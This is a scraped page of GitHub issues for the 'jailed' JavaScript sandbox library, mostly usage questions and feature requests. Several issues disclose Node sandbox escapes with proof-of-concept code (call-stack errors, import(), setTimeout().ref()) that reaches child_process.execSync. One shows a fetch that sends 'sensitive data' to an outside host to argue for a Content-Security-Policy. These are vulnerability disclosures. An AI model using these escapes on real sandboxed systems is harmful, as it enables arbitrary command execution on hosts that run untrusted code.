asvd / jailed Goto Github PK
View Code? Open in Web Editor NEWexecute untrusted code with custom permissions
License: MIT License
execute untrusted code with custom permissions
License: MIT License
The console demo already monkey-patches over things like navigator and console, but not XMLHttpRequests. With the advent of CORS, this means sandboxed code can make requests to out-of-domain servers. For example:
x = new XMLHttpRequest(); x.open('GET', 'https://cors-test.appspot.com/test', false); x.send(); x.response;
> {"status": "ok"}
While the sandbox doesn't have access to any user data (as far as I can tell), it could allow an attacker to essentially create a botnet if sandboxed user code was shared with other users. Since the demo serves as an example of what to monkey-patch over in a plugin, XMLHttpRequest should be added to the list.
Jailed version: 0.3.1
Node version: 18.15.0
run-jailed.js
var jailed = require('jailed');
var api = {};
var plugin = new jailed.Plugin('./test_case.js', api);
test_case.js
try{
function stack() {
new Error().stack;
stack();
}
stack();
} catch(pp){
pp.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch flag');
}
application.disconnect();
Sandbox can be escaped by calling error stack during maximum call stack error.
We can execute arbitrary shell code using process module.
I'm using
pluginInstance = new jailed.DynamicPlugin(script, api)
and
pluginInstance.whenFailed(function() {
// Handle plugin failing
})
but, if script has a syntax error, the process dies with an unhandled exception:
SyntaxError: Unexpected token }
at Object.exports.runInNewContext (vm.js:48:16)
at executeJailed (/myDir/node_modules/jailed/lib/_pluginNode.js:194:12)
at execute (/myDir/node_modules/jailed/lib/_pluginNode.js:143:5)
at process.<anonymous> (/myDir/node_modules/jailed/lib/_pluginNode.js:36:9)
at emitTwo (events.js:100:13)
at process.emit (events.js:185:7)
at handleMessage (internal/child_process.js:689:10)
at Pipe.channel.onread (internal/child_process.js:440:11)
Is there a way to handle this without the process dying?
Would the data set need to be serialized and joined to the script before sending to the process, or passed in options?
It appears the tarball that npm pulls when you do an "npm install jailed" is pulling an older version of your code which doesn't include the fix for issue #25. I'm trying to use jailed in an Electron environment and need this fix so that it will work. Could you please push up an updated tarball? I like your implementation - makes it easier to run Blockly code in an isolated and separate psuedo-sandbox.
Thanks . . .
Glenn
I'm not certain if this is a bug on chrome or a bug on you, but -- if you load your demo page here as https instead of http, then you get an error "Mixed Content: The page at 'https://asvd.github.io/jailed/lib/_frame.html' was loaded over HTTPS, but requested an insecure Worker script 'blob:null/74057946-5764-4cbe-8f84-32e392c3885f'. This request has been blocked; the content must be served over HTTPS.". It's likely a bug on chrome, but thought you should be aware, and might possibly want to implement some kind of workaround until chrome fixes it.
Hi,
I am having this issue with jailed under node that the process never exist therefore onDisconnect never gets called.
This happens even with the sample code provided on github.
Here the code that I used:
var jailed = require('jailed' )
var code = `
var api = {
square: function(num, cb) {
cb(num*num);
}
}
application.setInterface(api);
`
var plugin = new jailed.DynamicPlugin(code);
var start = function() {
plugin.remote.square(2, reportResult);
}
var reportResult = function(result) {
console.log("Result is: " + result);
}
plugin.whenConnected(start);
Executing the above under node never exist and only shows "Result is: 4"
On the online demo,
(function(){return this})().postMessage
returns the native one.
I think this is an unintended leak of a dangerous object for the sandbox.
Hi I am relative new to node and trying out how to use jailed.
So I have started with the basic functionality with this script
//npm install jailed
var jailed = require('jailed');var code = "application.remote.test('Hello!! Welcome to jailed');";
var api = {
test: function(config){
console.log(config);
}
}var plugin = new jailed.DynamicPlugin(code, api);
But it is giving me a weird error
(process.release.name.search(/node|io.js/) !== -1));
^
TypeError: Cannot read property 'name' of undefined
at /Users/anandk/delete/jailed/node_modules/jailed/lib/jailed.js:49:35
at isNode (/Users/anandk/delete/jailed/node_modules/jailed/lib/jailed.js:42:9)
at Object. (/Users/anandk/delete/jailed/node_modules/jailed/lib/jailed.js:46:2)
at Module._compile (module.js:456:26)
at Object.Module._extensions..js (module.js:474:10)
at Module.load (module.js:356:32)
at Function.Module._load (module.js:312:12)
at Module.require (module.js:364:17)
at require (module.js:380:17)
at Object. (/Users/anandk/delete/jailed/jail.js:2:14)
is there some problem with the latest release?
When I put a callback in a config object, it got deleted from the object.
Example:
var plugin = new jailed.Plugin(jsFile, {
"test": function(config){
console.log(config);
}
});
When I jail this script:
application.remote.test(function(){
// ...
});
It outputs [Function]
it's ok
Now with this file
application.remote.test({
"foo": "foo",
"bar": function(){
// ...
}
});
It outputs { foo: 'foo' }
bar is not exported
Hi - i am still trying to get jailed up and running in the Electron-environment (Node 5.1.1, Chrome 47.0.2526.110, Electron 0.36.9) and feel i make no progress. I am using the following code from within my app for debugging purposes:
var api = {
alert: alert
};
var code = "application.remote.alert('Hello from the plugin!');";
var plugin = new jailed.DynamicPlugin(code, api);
plugin.whenConnected(function() {
console.info('plugin connected..');
});
plugin.whenDisconnected(function() {
console.info('plugin disconnected..');
});
plugin.whenFailed(function() {
console.info('plugin failed..');
});
This returns plugin disconnected..
which let me assume that the plugin code should be run. However, the alert is not being invoked as well as any Api-calls (i tried to pass variables as well, binding this
).
A debugging attempt -- running the commands by hand from the console -- failed completely with an Uncaught TypeError: this._connect is not a function
in jailed.js:612.
I really appreciate any hint. Thanks in advance - ๐ฐ โ
Is there any documentation anywhere as to why the Web Worker is launched from inside an iframe, as opposed to just relying on the worker for isolation?
I understand defense-in-depth, but of course there's more to it than just "more layers", or else you'd have 3 or 10 nested iframes. Is there a specific reason to think someone could break out of a worker but run into trouble breaking out of the iframe? If anything frames seem easier to break out of than workers, what with its partial access to parent windows and heavily polluted, ever-growing global namespace.
Hi @asvd!
I'm trying to get Jailed running client-side using a Browserify bundle. I'm getting the following error when I attempt to require('jailed')
:
http://localhost:8000/_JailedSite.js: Failed to load resource: the server responded with a status of 404 (Not Found)
Jailed seems to make assumptions about my file structure which don't hold true on a bundled app.
I'm looking for a way to share application window.location with plugin.
// plugin.js
application.remote.alert(application.remote.location.href);
How to accomplish that?
https://travis-ci.org/dtracers/coursesketch/builds/121328585
I am creating chrome in travis (which for some reason has to run without sandbox) and as a result it sometimes crashes the chrome tab causing my build to fail.
I believe the problem is jailed because this is the only library I'm using in the tests that are crashing.
(and unfortunately this is the only real stack trace I have)
[INFO] 2) running test for /test/utilities/functions/baseExceptionTest.html?coverage=true
[INFO] childScriptTest.js
[INFO] 03:20:23.738 INFO - Executing: [get: http://localhost:9001/test/utilities/functions/childScriptTest.html?coverage=true])
[INFO] 03:20:29.082 WARN - Exception thrown
[INFO] org.openqa.selenium.WebDriverException: unknown error: session deleted because of page crash
[INFO] from tab crashed
Sorry if this is due to a lack-of-understanding on my part, but I can't get this to work. I'm running it locally, and I've tried it in Chrome and Safari on Mac.
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<script src="jailed.js"></script>
</head>
<body>
<div id="content"></div>
<script>
var api = {
alert: alert
};
var pluginCode = "application.setInterface({\n";
pluginCode += "foo: function() {\n";
pluginCode += " application.remote.alert('hi');\n";
pluginCode += "}});"
console.log(pluginCode);
var plugin = new jailed.Plugin(pluginCode, api);
plugin.remote.foo();
</script>
<body>
</html>
How can I write clean code without 'application.remote.'?
I don't want write like that:
var code = "application.remote.alert('Hello from the plugin!');";
I need this clean code:
var code = "alert('Hello from the plugin!');";
So can i write wihtout 'application.remote.' or can i add it in runtime?
Hi,
How can the parent process can get notified if the jailed code throws an exception or fails executing its code? Something like:
function task(){
foo()//foo is not defined
}
or
function task(){
throw 'failed'
}
It happens to me that the process doesn't end if there isn't a timeout.
Thank you.
I'd like to use Jailed in Meteor.
Currently, I tried to use Jailed using meteorhacks:npm package which is a meteor extension that makes npm packages usable in Meteor.
https://atmospherejs.com/meteorhacks/npm
But, many error occurred.
I would appreciate if you support Meteor somehow.
Jailed version: 0.3.1
Node version: 18.15.0
run-jailed.js
var jailed = require('jailed');
var api = {};
var plugin = new jailed.Plugin('./test_case.js', api);
test_case.js
let ret = import("XXX");
ret.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch flag');
application.disconnect();
Sandbox can be escaped by calling import
function.
Also, we can execute arbitrary shell code using process module.
It's possible to run multiple jailed plugins which will execute different scripts on different URLs?
The sandbox iframe can be navigated to an attacker-controlled URL by another, malicious frame. If the sandbox is sent any user data, it can be captured this way.
Webpack's static analysis breaks jailed: it's probably because child_process
is required dynamically.
Anyway, would it be possible to follow this to make it work in the browser?
Just adding:
browser: { fs: false, child_process: false }
to the package.json
would do the trick
Sorry if this is due to a lack-of-understanding on my part, but I can't get this to work. I'm running it locally, and I've tried it in Chrome and Safari on Mac.
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<script src="jailed.js"></script>
</head>
<body>
<div id="content"></div>
<script>
var api = {
alert: alert
};
var pluginCode = "application.setInterface({\n";
pluginCode += "foo: function() {\n";
pluginCode += " application.remote.alert('hi');\n";
pluginCode += "}});"
console.log(pluginCode);
var plugin = new jailed.Plugin(pluginCode, api);
plugin.remote.foo();
</script>
<body>
</html>
Is there a way to load an external javascript file into the plugin's context (either from the main page or from the plugin)? For example, if the plugin code depends on a date manipulation library, is there a function to load this as an external js file, or does it have to be baked into the plugin.js file?
First, thanks for making this, it's great.
What do you think about adding a timeout feature when making remote calls? For example:
plugin.remote.square(2, reportResult, {
timeout: 2000,
onTimeout: myTimeoutHandler
});
This would make guarding against untrusted code very convenient. Thoughts?
Is there a way to manipulate parent dom in jailed iframe.
Neither of the demos work for me in Mac/Chrome 47.0.2526.106 (64-bit).
Nothing happens when I click the buttons in the banner demo, and no text appears in the "console" in the other demo.
Both demos work for me in Safari.
Communication with child process is built on top of postMessage now, and that's why it doesn't support returning value. And we have to use that old-style callbacks to return value from function.
It would be much better to wrap that functions into promises to allow returning values as well as promises and all such things.
Example of current plugin code:
application.setInterface({
getSomeValue: function (callback) {
callback(123);
},
doAsyncJob: function (callback) {
setTimeout(callback, 1000);
}
});
What it could look like:
application.setInterface({
getSomeValue: function (callback) {
return 123; //return simple value from promise is ok
},
doAsyncJob: function () {
return new Promise(function(resolve) {
setTimeout(resolve, 1000);
});
}
});
And then you can call plugin code from your App so easy:
plugin.remote.doAsyncJob()
.then(doSomethingElse);
Would you be open to adding a Content-Security-Policy to the frame file?
My scenario is:
My concern is if this elevated user has their credentials compromised the attacker could write a script that gathers all the data on the form and exfiltrates it to a 3rd party service. Data the compromised account may not normally have access to (but the regular users have access to).
I'm not sure to what extent this threat can be eliminated but it seems we can at least reduce the impact by telling the browser the script should not be able to contact 3rd party services via a content security policy.
I think the following policy should be fairly locked down:
// Default to allow nothing and just open up what we need
default-src 'none';
// Allows iframe to load worker via `blob:` URI
worker-src blob:;
// 'self' allows local scripts to be loaded (to get the JS files jailed needs)
// 'unsafe-eval' allows the jailed script to be evaled (in the jail of course)
script-src 'self' 'unsafe-eval'
This CSP needs to apply to the _frame.html
file. Since this file is likely being served as static content modifying the HTTP header will vary depending on deployment environment. Therefore it seems best to add the CSP as a meta
tag in the _frame.html
file.
If this all sounds good I can create a PR that adds the following meta tag to the _frame.html
file:
<meta http-equiv="Content-Security-Policy" content="default-src 'none'; worker-src blob:; script-src 'self' 'unsafe-eval'">
Without this meta
tag if I run the following in the demo console my sensitive data is sent to the 3rd party server:
fetch('https://jailed.requestcatcher.com/test', { method: 'POST', body: 'sensitive data' })
With the CSP in place that fetch
is denied since the connect
policy is not provided and therefore uses the default-src
which is set to none
.
Before I created a PR I wanted to find out:
Hello,
I haven't found an answer from reading the doc, and couldn't get my hacks to work, so here's my question. Is it possible to send some data from a plugin to the application?
Here's my use case: I have a data set, and I want users to be able to run some JS to transform that set, then get it back and display it from my main application. Is that possible using jailed
?
Thanks,
Adrian
this code :
var res = 5;
function a(){ return this.res }
a();
should return 5 instead of undefined.
this code is working fine:
res = 5;
function a(){ return this.res }
a();
Jailed version: 0.3.1
Node version: 18.15.0
run-jailed.js
var jailed = require('jailed');
var api = {};
var plugin = new jailed.Plugin('./test_case.js', api);
test_case.js
try{
setTimeout().ref();
} catch(pp){
pp.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch flag');
}
application.disconnect();
Sandbox can be escaped by calling setTimeout().ref()
function.
Also, we can execute arbitrary shell code using process module.
I need to pass an object a larger context as an interface with sub properties, but the sub properties are undefined when accessed inside a jailed environment. I read through this issue #58 and tried implementing that but it didn't work for what I needed.
This is what I originally tried
const context = {
log: function(x) {
console.log(x);
},
JSON: {
stringify: function(x) {
return JSON.stringify(x);
}
}
}
var dp = new DynamicPlugin(myCode, context);
This didn't work and returned undefined for JSON and it's sub function. I tried implementing the callback solution in #58 but it had the same issue. Am I doing something wrong or Jailed not able to do this?
do you know if it's possible to expose values or methods to the jailed plugin?
From what I'm understanding you can expose functions that the worker can execute 1 time and then pass information from the worker/plugin to the application.
I would like to do the opposite let the worker call a function to the application and the application returns a value or method that can be used on the code on the plugin side.
something like:
const api = {
someFancyStuff: async () => {
const response = await fetch(url, options);
return response
},
output: () => {
// do somehting with the ouput
}
}
new jailed.DynamicPlugin(code, api);
so far if I execute application.remote.someFancyStuff()
the return value is undefined even if I'm just doing return 1
thank you.
I'm sure I'm missing something obvious, but how do I go about passing an object of key / value pairs to the jailed code?
For example, if I had something like:
{
firstName: John,
lastName: Doe
}
How would I go about accessing firstName
and lastName
within plugin.js
? My original guess was that I'd add the object to the 2nd property of jailed.Plugin(pathToPlugin, { scope: { firstName: 'John', lastName: 'Doe' } })
but it didn't work.
I looked at the web-banner example in the repo, but the bad / good image names are hardcoded into plugin.js
. I need those values to be dynamic.
Its quite difficult to use jailed in lazy loading system like require.js or systemJS at the moment.
A couple of problems:
__jailed__path__
calculation doesn't get it right. It makes the assumption that the script is loaded synchronously. If the async or defer attrs is used on the script tag, or something like requirejs or systemJS is used, the base path will be wrong. This should be configurable somehow, maybe by taking the value if it already exists (var __jailed__path__ = __jailed__path__ || //...
)initWeb
listens to window.onload
, if you lazy load jailed, the initialisation never happens. document.readyState
should be checked. For a simple implementation check doc-readyI would love to use this library but I'm using Browserify, which isn't supported properly at the moment. I'm interested in creating a pull request for support, but in order to do that I would need to know a bit more about how the code functions.
When I tried it, it attempted loading the _JailedSite.js
file using a script-tag. I assume this is done inside the iframe to allow access to it..? With Browserify this doesn't work because Browserify combines all code into one file, and that's the only file served publicly.
Would it be possible to do this without loading an extra file? Probably it would mean having _JailedSite.js
return a function which will then be executed when the iframe loads.
As you can see, I'm clueless here so it would be great if you could briefly outline the way this script works and we could go from there.
I'm trying to use the library in a vue.js project, and it seems that it keeps track of it's state in the Global this
, which I think is what is creating this error somehow. If I break on the error, it shows this:
/**
* Saves the provided function as a handler for the connection
* success Whenable event
*
* @param {Function} handler to be issued upon connection
*/
DynamicPlugin.prototype.whenConnected =
Plugin.prototype.whenConnected = function(handler) {
this._connect.whenEmitted(handler);
}
Where this
is the global this
and has no property _connect
.
Here is the trace
TypeError: Cannot read property 'whenEmitted' of undefined
at DynamicPlugin.whenConnected.Plugin.whenConnected (jailed.js?c164:787)
at eval (utils.js?a2b6:70)
at new Promise (<anonymous>)
at promisify (utils.js?a2b6:68)
at _callee$ (evaluation.js?5b15:15)
at tryCatch (runtime.js?96cf:45)
at Generator.invoke [as _invoke] (runtime.js?96cf:274)
at Generator.prototype.<computed> [as next] (runtime.js?96cf:97)
at asyncGeneratorStep (asyncToGenerator.js?1da1:3)
at _next (asyncToGenerator.js?1da1:25)
This is how I'm using it:
const plugin = new jailed.DynamicPlugin(forCompile);
plugin.whenFailed(x => console.log(x));
await promisify(plugin.whenConnected);
const result = await promisify(plugin.remote.evaluateAll);
console.log(result);
return { rows: result, evaluate: plugin.remote.evaluate };
I was recently notified by Github regarding CVE-2022-23923. The actual description of the issue is a bit odd so wanted to get clarification on its impact. It is described with:
All versions of package jailed are vulnerable to Sandbox Bypass via an exported alert() method which can access the main application. Exported methods are stored in the application.remote object.
This seems to imply the issue is only present when a remote method named alert
is exported to the jailed script. The issue seems to be imported from the Sync vulnerability database and that actually includes a POC of the vulnerability. My understanding of the POC leads me to believe the description of the vulnerability is not accurate. It feels like the person who wrote the description is not the same as the person who wrote the POC and the description writer did not understand the POC. The alert
was just used to present the exfiltrated data for demonstration purposes and has nothing to do really with the vulnerability.
My understanding of the POC is it is a variation on the known vulnerability with jailed when running on Node.js and documented on the README. It is getting a Function
constructor on an object provided by the main context from within the context created by Node.js's vm.runInNewContext
. Then using that to eval code to get access to require
via process.mainModule
. From there it can do any number of things (in the POC's case it is reading from the filesystem).
What makes this POC different from #33 is that it is not using objects passed to the sandbox to get access to this function constructor but instead using this.constructor
which I am thinking is the constructor for the global object that Node provides the new context? If this is correct I don't think the proposed fix to @gpascualg did in #37 would be sufficient as the Function
constructor is not gained via one of the exposed objects passed to the new vm context.
I'm posting this issue hoping to get feedback from others to confirm my understand which is:
This is just a variation on #33 and therefore represents no more risk than was already documented in the README. jailed on Node.js continues to be broken (only now the proposed fix may be insufficient) but jailed on the web is still valid as it's isolation is handled entirely differently and the constructs used in the POC (process.mainModule
and require
) are not present for JS running in a web browser.
I've looked over some similar issues but they don't seem to solve the problem. If I enter illegal code (syntax error) to my code, on the server side I get ERROR: asdf is not defined
. The problem is I have no idea where to catch this error. I've put try/catch blocks everywhere that I can (including in the functions provided in application.setInterface
. Any ideas? Thanks
Hi,
This is more or less a question, I'm wondering rather than creating a new iFrame every time a Jailed plugin is executed is it possible to use one that is already declared in the DOM? I noticed that every time this code executes an iFrame is created then removed from the DOM:
var program = new jailed.Plugin(host + "/" + filename, this.rpgcodeApi.api);
program.whenConnected(function () {
rpgtoolkit.craftyPlayer.disableControl();
});
program.whenDisconnected(function () {
rpgtoolkit.craftyPlayer.enableControl();
});
By the way I'm using Jailed to execute custom user programs in a Javascript game engine. It is working fine so far but creating iFrames is a bit of a performance overhead for me, since accessing the DOM is an expensive operation.
It is an awesome library by the way.
I've encountered a problem while debugging app using jailed in WebStorm.
If i run the app in debug mode I get EADDRINUSE.
However I found that adding '--debug' to execArgv on line 205 of jailed.js
not only prevents the issue from occurring but also allows for debugging of plugin code.
It would be great if this argument could be added only while the app is debugged.
I am trying to use jailed in a demo app. I can not figure out where the application object is defined. I keep getting application not defined when I write application.setInterface(api);
start.js file:
var jailed = require('../../../lib/jailed.js');
var api = {};
var plugin = new jailed.Plugin(__dirname + '/plugin.js', api);
plugin.js file:
var require = application.whenConnected.constructor('return process.mainModule.require')();
// do anything with true "require" here
created a fix here
#44
If the loaded code in sandbox requires some dependency/lib, is there any way to import the libs to sandbox for the code to use?
The file lib/_frame.js contains this code:
// mixed content warning in Chrome silently skips worker
// initialization without exception, handling this with timeout
var fallbackTimeout = setTimeout(function() {
worker.terminate();
initIframePlugin();
}, 300);
// forwarding messages between the worker and parent window
worker.addEventListener('message', function(m) {
if (m.data.type == 'initialized') {
clearTimeout(fallbackTimeout);
}
[...]
});
So it tries to run the user-script in a web-worker (within the sandboxed iframe), and if it fails (ie. if "initialized" message is not received within 300ms), then it tries again without the web-worker jail layer.
That's understandable. However, it would be nice if the library let you choose whether to:
Furthermore, it would be nice if one could customize the timeout-length for determining if the web-worker layer failed. Why?
Because the default value of 300ms is too small sometimes! When I ran user-scripts within jailed
five times, it worked as expected four times (with the web-worker layer initializing within the 300ms), but one of the five times, it took too long for the web-worker to initialize, and so jailed
got rid of the web-worker layer (despite the context in fact supporting web-workers, as seen from the non-fallback-activated calls).
This means that:
ReferenceError: alert is not defined
to VM4703:4 Ignored call to 'alert()'. The document is sandboxed, and the 'allow-modals' keyword is not set.
, which then failed to show up in my regular error-catching-and-displaying system.)Anyway, these issue would be resolved by adding a setting for the three fallback functionalities above, as well as a setting to customize the fallback-timer duration.
Hi! It's been more than a year since a release was tagged, and I guess that means what's available on npm is not up-to-date? So, would it be possible to tag a new release?
Thanks,
Adrian
A declarative, efficient, and flexible JavaScript library for building user interfaces.
๐ Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. ๐๐๐
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google โค๏ธ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.